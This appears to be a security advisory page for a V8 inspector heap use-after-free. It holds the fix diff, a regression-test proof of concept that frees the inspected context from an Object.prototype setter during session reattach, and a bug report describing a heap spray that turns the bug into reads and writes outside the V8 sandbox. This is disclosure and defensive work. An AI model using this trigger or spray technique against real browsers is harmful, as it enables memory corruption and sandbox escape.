CVE-2026-17836
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/inspector/v8-runtime-agent-impl.cc |
modified |
Files Changed
src/inspector/v8-inspector-impl.ccsrc/inspector/v8-runtime-agent-impl.cctest/inspector/runtime/regress-517972812-expected.txttest/inspector/runtime/regress-517972812.js
Patch
From 7a5484e4f6ea917d7070c7407a3d06409d52883d Mon Sep 17 00:00:00 2001 From: Yulun Zeng <[email protected]> Date: Tue, 09 Jun 2026 19:20:47 +0000 Subject: [PATCH] Handle context destruction when adding binding within V8RuntimeAgentImpl::restore. Instead of holding a reference in the caller, this commit adds early returns after each addBinding(). So that all callers to addBindings() don't have to deal with the edge case (where context is destroyed when adding binding). This resolves the issue both in this bug and https://crrev.com/c/7904365. Bug: 517972812 Change-Id: I7f74308061f9f194c128697632a84cbe95d4f22f Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7914828 Reviewed-by: Simon Zünd <[email protected]> Commit-Queue: Yulun Zeng <[email protected]> Reviewed-by: Kim-Anh Tran <[email protected]> Cr-Commit-Position: refs/heads/main@{#107997} --- diff --git a/src/inspector/v8-inspector-impl.cc b/src/inspector/v8-inspector-impl.cc index ade7809..5e9a512 100644 --- a/src/inspector/v8-inspector-impl.cc +++ b/src/inspector/v8-inspector-impl.cc @@ -309,13 +309,12 @@ DCHECK(contextById->find(contextId) == contextById->cend()); (*contextById)[contextId].reset(context); int contextGroupId = info.contextGroupId; - std::shared_ptr<InspectedContext> contextRef = (*contextById)[contextId]; forEachSession(contextGroupId, [this, contextGroupId, contextId, - contextRef](V8InspectorSessionImpl* session) { + &context](V8InspectorSessionImpl* session) { if (!getContext(contextGroupId, contextId)) return; - session->runtimeAgent()->addBindings(contextRef.get()); + session->runtimeAgent()->addBindings(context); if (!getContext(contextGroupId, contextId)) return; - session->runtimeAgent()->reportExecutionContextCreated(contextRef.get()); + session->runtimeAgent()->reportExecutionContextCreated(context); }); } diff --git a/src/inspector/v8-runtime-agent-impl.cc b/src/inspector/v8-runtime-agent-impl.cc index e6ce30c..b17432c 100644 --- a/src/inspector/v8-runtime-agent-impl.cc +++ b/src/inspector/v8-runtime-agent-impl.cc @@ -1071,6 +1071,8 @@ } void V8RuntimeAgentImpl::addBindings(InspectedContext* context) { + int contextGroupId = context->contextGroupId(); + int contextId = context->contextId(); const String16 contextName = context->humanReadableName(); if (!m_enabled) return; @@ -1079,6 +1081,7 @@ if (globalBindings) { for (size_t i = 0; i < globalBindings->size(); ++i) { addBinding(context, globalBindings->at(i).first); + if (!m_inspector->getContext(contextGroupId, contextId)) return; } } @@ -1090,6 +1093,7 @@ if (bindings) { for (size_t i = 0; i < bindings->size(); ++i) { addBinding(context, bindings->at(i).first); + if (!m_inspector->getContext(contextGroupId, contextId)) return; } } } diff --git a/test/inspector/runtime/regress-517972812-expected.txt b/test/inspector/runtime/regress-517972812-expected.txt new file mode 100644 index 0000000..a1059d8 --- /dev/null +++ b/test/inspector/runtime/regress-517972812-expected.txt @@ -0,0 +1,3 @@ +Test that destroying context during addBinding does not cause UAF (regress-517972812). +Triggering evaluate with prototype hijack and context creation... +Finished evaluate call. diff --git a/test/inspector/runtime/regress-517972812.js b/test/inspector/runtime/regress-517972812.js new file mode 100644 index 0000000..87a2bc5 --- /dev/null +++ b/test/inspector/runtime/regress-517972812.js @@ -0,0 +1,40 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517972812).'); + +(async function test() { + const contextGroup = new InspectorTest.ContextGroup(); + const session = contextGroup.connect(); + + session.Protocol.Runtime.enable(); + + // Register binding 'x' + await session.Protocol.Runtime.addBinding({name: 'x'}); + + // Register second binding 'y' to test handling addBinding() again when the + // the previous addBinding() has already destroyed the context. + await session.Protocol.Runtime.addBinding({name: 'y'}); + + InspectorTest.log('Triggering evaluate with prototype hijack and context creation...'); + await session.Protocol.Runtime.evaluate({ + expression: ` + delete globalThis.x; + delete globalThis.y; + Object.defineProperty(Object.prototype, 'x', { + configurable: true, + set: function(v) { + // Synchronously destroy the just-registered InspectedContext. + inspector.fireContextDestroyed(); + } + }); + `, + }); + + // === TRIGGER === + session.reconnect(); + + InspectorTest.log('Finished evaluate call.'); + InspectorTest.completeTest(); +})();
Regression Test / PoC
diff --git a/test/inspector/runtime/regress-517972812-expected.txt b/test/inspector/runtime/regress-517972812-expected.txt
new file mode 100644
index 0000000..a1059d8
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812-expected.txt
@@ -0,0 +1,3 @@
+Test that destroying context during addBinding does not cause UAF (regress-517972812).
+Triggering evaluate with prototype hijack and context creation...
+Finished evaluate call.
diff --git a/test/inspector/runtime/regress-517972812.js b/test/inspector/runtime/regress-517972812.js
new file mode 100644
index 0000000..87a2bc5
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812.js
@@ -0,0 +1,40 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517972812).');
+
+(async function test() {
+ const contextGroup = new InspectorTest.ContextGroup();
+ const session = contextGroup.connect();
+
+ session.Protocol.Runtime.enable();
+
+ // Register binding 'x'
+ await session.Protocol.Runtime.addBinding({name: 'x'});
+
+ // Register second binding 'y' to test handling addBinding() again when the
+ // the previous addBinding() has already destroyed the context.
+ await session.Protocol.Runtime.addBinding({name: 'y'});
+
+ InspectorTest.log('Triggering evaluate with prototype hijack and context creation...');
+ await session.Protocol.Runtime.evaluate({
+ expression: `
+ delete globalThis.x;
+ delete globalThis.y;
+ Object.defineProperty(Object.prototype, 'x', {
+ configurable: true,
+ set: function(v) {
+ // Synchronously destroy the just-registered InspectedContext.
+ inspector.fireContextDestroyed();
+ }
+ });
+ `,
+ });
+
+ // === TRIGGER ===
+ session.reconnect();
+
+ InspectorTest.log('Finished evaluate call.');
+ InspectorTest.completeTest();
+})();
Original Bug Report
Heap-UAF in V8RuntimeAgentImpl::addBindings: raw InspectedContext* deref after JS-reentrant free
Steps to reproduce the problem
Attached: poc-uaf.js, poc-sandbox-read.js
-
Build inspector-test (HEAD 6ac60d22f45, V8 15.0.0).
gn gen out/asan –args=‘is_debug=false symbol_level=2
v8_enable_sandbox=true is_asan=true’ gn gen out/sandbox –args=‘is_debug=false symbol_level=2
v8_enable_sandbox=true is_asan=false’ autoninja -C out/asan inspector-test autoninja -C out/sandbox inspector-test -
Run UAF PoC under ASan.
ASAN_OPTIONS=‘abort_on_error=0:halt_on_error=1:detect_leaks=0’
./out/asan/inspector-test
test/inspector/protocol-test.js
poc-uaf.jsOutput:
PoC H-2026-2981: addBindings loop UAF after iter-0 destroys context. Step 1: enable Runtime agent. Step 2: persist two global bindings (“a”,“b”). Step 3: delete own bindings; install Object.prototype.a setter that destroys the inspected context. Step 4: reconnect to drive restore() -> addBindings(ctx).
==148588==ERROR: AddressSanitizer: heap-use-after-free on address 0x74957f5f4f50 at pc 0x5f6fac5bed1b READ of size 4 at 0x74957f5f4f50 thread T7 (Task Runner) #0 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/inspected-context.h:49:34 #1 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7 #2 v8_inspector::V8InspectorImpl::forEachContext(…) #3 v8_inspector::V8RuntimeAgentImpl::restore() src/inspector/v8-runtime-agent-impl.cc:1116:16 #4 v8_inspector::V8InspectorSessionImpl::V8InspectorSessionImpl(…) src/inspector/v8-inspector-session-impl.cc:153:21 …
0x74957f5f4f50 is located 16 bytes inside of 232-byte region [0x74957f5f4f40,0x74957f5f5028) freed by thread T7 (Task Runner) here: #0 operator delete(void*, unsigned long) #1 v8_inspector::V8InspectorImpl::contextCollected(int, int) third_party/libc++/…/shared_count.h:65:7 #2 v8::internal::InspectorIsolateData::FireContextDestroyed(…) test/inspector/isolate-data.cc:438:15 … (setter callback) #15 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/v8-runtime-agent-impl.cc:996:39 <- iter-0 Set #16 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7
previously allocated by thread T7 (Task Runner) here: #0 operator new(unsigned long) #1 v8_inspector::V8InspectorImpl::contextCreated(…) src/inspector/v8-inspector-impl.cc:288:19
SUMMARY: AddressSanitizer: heap-use-after-free src/inspector/inspected-context.h:49:34 in v8_inspector::V8RuntimeAgentImpl::addBinding(…) ==148588==ABORTING
-
Run out-of-sandbox-read PoC under V8 sandbox crash filter.
The same trigger plus a freelist spray inside the setter callback substitutes attacker bytes into the freed slot at offset 8 (v8::Globalv8::Context::slot_). Iteration N+1’s context() dereference at line 988 follows the substituted pointer.
./out/sandbox/inspector-test –sandbox-testing
test/inspector/protocol-test.js
poc-sandbox-read.jsOutput:
Sandbox testing mode is enabled. Only sandbox violations will be reported, all other crashes will be ignored. Sandbox bounds: [0x85300000000,0x95300000000) PoC H-2026-2981 byte-controlled spray. Step 1: enable Runtime agent. Step 2: persist two distinct global bindings (“a”,“b”). Step 3: install setter that frees + sprays. Step 4: reconnect to drive restore() -> addBindings(ctx).
V8 sandbox violation detected!
The sandbox violation was a read access which is technically not a sandbox violation. This requires manual investigation. UndefinedBehaviorSanitizer:DEADLYSIGNAL ==148664==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x00077d2e40a0 (pc 0x5c482db56605 …) ==148664==The signal is caused by a READ memory access. #0 v8_inspector::InspectedContext::context() const src/inspector/inspected-context.cc:117 #1 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/v8-runtime-agent-impl.cc:988:50 #2 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7 #3 v8_inspector::V8InspectorImpl::forEachContext(…) #4 v8_inspector::V8RuntimeAgentImpl::restore() src/inspector/v8-runtime-agent-impl.cc:1116:16 #5 v8_inspector::V8InspectorSessionImpl::V8InspectorSessionImpl(…) src/inspector/v8-inspector-session-impl.cc:153:21 …
The read address (0x00077d2e40a0) lies outside the V8 sandbox cage (0x85300000000 - 0x95300000000), confirming that the UAF yields a read primitive crossing the V8 sandbox boundary.
Per src/inspector/SEC
Problem Description
Variant of bug 507508114 (commit 5a7de4a07b0). The prior fix protected the leaf function addBinding but left the outer-loop caller addBindings unprotected. addBindings holds a raw InspectedContext* across multiple addBinding calls; iteration N’s global->Set() is JS-reentrant via Object.prototype setters, and a setter that destroys the inspected context drops the sole shared_ptr to InspectedContext. Iteration N+1 dereferences the freed pointer at its first statement.
Vulnerable loop (src/inspector/v8-runtime-agent-impl.cc:1073-1096):
void V8RuntimeAgentImpl::addBindings(InspectedContext* context) { … for (size_t i = 0; i < globalBindings->size(); ++i) { addBinding(context, globalBindings->at(i).first); // 1081 } for (size_t i = 0; i < bindings->size(); ++i) { addBinding(context, bindings->at(i).first); // 1092 } }
Each addBinding(context, name):
- int contextId = context->contextId(); // 982 DEREF
- v8::Localv8::Context ctx = context->context(); // 988 DEREF
- global->Set(ctx, v8Name, fn); // 996 JS-REENTRANT
- if (m_inspector->getContext(…) != context) // 1001 5a7de4a07b0 guard return; (protects iter-N write, not iter-N+1 entry)
- m_activeBindings[name].insert(contextId);
The freed object InspectedContext is allocated via
new InspectedContext(...) at src/inspector/v8-inspector-impl.cc:288
on the libc C++ heap, outside the V8 sandbox. The UAF therefore
yields a primitive that crosses the V8 sandbox boundary
unconditionally, with no prior memory primitive assumed.
Observed primitive 1 (ASan oracle): 4-byte read of m_contextId at offset 16 of the freed slot.
Observed primitive 2 (out-of-sandbox read): standard libc-heap freelist spray during the synchronous setter callback substitutes attacker bytes into the freed slot at offset 8 (v8::Globalv8::Context::slot_). Iteration N+1’s context->context() at line 988 loads the substituted pointer and dereferences it, reaching memory outside the V8 sandbox cage. Confirmed under –sandbox-testing: V8’s sandbox crash filter reports “sandbox violation detected” with a SEGV READ at an address outside the cage bounds.
Composable write: the subsequent global->Set(ctx, v8Name, fn) at line 996 writes a JSFunction handle to the target reached through context()->Global(), yielding an out-of-sandbox write on the same trigger.
Attacker model: web-content. Reachable from any page being inspected by DevTools (SECURITY.md: high severity, “minimal user interaction”), or from a Chrome extension with the “debugger” permission. Triggers automatically on session reattach once persisted globalBindings is populated: Runtime.addBinding survives across sessions in m_state, so two addBinding commands plus a setter on Object.prototype plus a session reattach are sufficient.
In Chromium production, the test-only inspector.fireContextDestroyed() in the PoC is replaced by any setter body that synchronously triggers V8InspectorClient::contextDestroyed on the current LocalFrame (e.g. detaching the frame).
Fix: re-validate context between iterations of the addBindings loops via m_inspector->getContext(groupId, contextId), mirroring the 5a7de4a07b0 shape one frame up. Capture contextId before the loop; do not carry the raw InspectedContext* across the JS-reentrant call.
Source references (HEAD 6ac60d22f45, V8 15.0.0):
src/inspector/v8-runtime-agent-impl.cc:1073-1096 vulnerable loop src/inspector/v8-runtime-agent-impl.cc:982 UAF read 1 (contextId) src/inspector/v8-runtime-agent-impl.cc:988 UAF read 2 (context, OOS) src/inspector/v8-runtime-agent-impl.cc:996 JS-reentrant Set (OOS write) src/inspector/v8-runtime-agent-impl.cc:1001 5a7de4a07b0 guard src/inspector/v8-runtime-agent-impl.cc:1116 restore() caller src/inspector/v8-inspector-impl.cc:288 alloc (libc heap, OOS) src/inspector/v8-inspector-impl.cc:460 free (discardInspectedContext)
Summary
Heap-UAF in V8RuntimeAgentImpl::addBindings: raw InspectedContext* deref after JS-reentrant free
Custom Questions
Type of crash:
TAB
Additional Data
Category: Security
Chrome Channel: Not sure
Regression: No \